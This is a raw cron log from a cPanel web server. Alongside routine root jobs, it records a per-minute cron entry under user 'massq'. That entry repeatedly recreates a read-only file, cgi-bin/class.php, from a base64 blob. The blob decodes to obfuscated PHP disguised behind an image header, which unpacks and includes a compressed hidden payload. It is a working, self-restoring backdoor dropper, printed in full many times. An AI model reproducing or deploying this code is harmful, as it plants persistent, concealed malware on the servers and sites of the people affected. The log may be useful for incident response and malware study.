Sep 11 09:07:01 server CROND[23259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:08:01 server CROND[23642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:08:01 server CROND[23643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:08:01 server CROND[23645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:09:01 server CROND[24021]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 09:09:01 server CROND[24023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:09:01 server CROND[24024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:09:01 server CROND[24025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:10:01 server CROND[24526]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 09:10:01 server CROND[24527]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 09:10:01 server CROND[24531]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 09:10:01 server CROND[24536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:10:01 server CROND[24538]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:10:01 server CROND[24541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:10:01 server CROND[24539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:10:01 server CROND[24544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:11:01 server CROND[25393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:11:01 server CROND[25394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:11:01 server CROND[25395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:12:01 server CROND[25779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:12:01 server CROND[25780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:12:01 server CROND[25782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:12:01 server CROND[25786]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 09:13:01 server CROND[26159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:13:01 server CROND[26161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:13:01 server CROND[26160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:14:01 server CROND[26536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:14:01 server CROND[26537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:14:01 server CROND[26538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:15:01 server CROND[26953]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:15:01 server CROND[26956]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 09:15:01 server CROND[26958]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 09:15:01 server CROND[26963]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:15:01 server CROND[26960]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 09:15:01 server CROND[26961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:15:01 server CROND[26962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:15:01 server CROND[26967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:16:01 server CROND[27883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:16:01 server CROND[27885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:16:01 server CROND[27884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:17:01 server CROND[28259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:17:01 server CROND[28260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:17:01 server CROND[28261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:18:01 server CROND[28645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:18:01 server CROND[28646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:18:01 server CROND[28647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:19:01 server CROND[29050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:19:01 server CROND[29051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:19:01 server CROND[29052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:20:01 server CROND[29486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:20:01 server CROND[29485]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
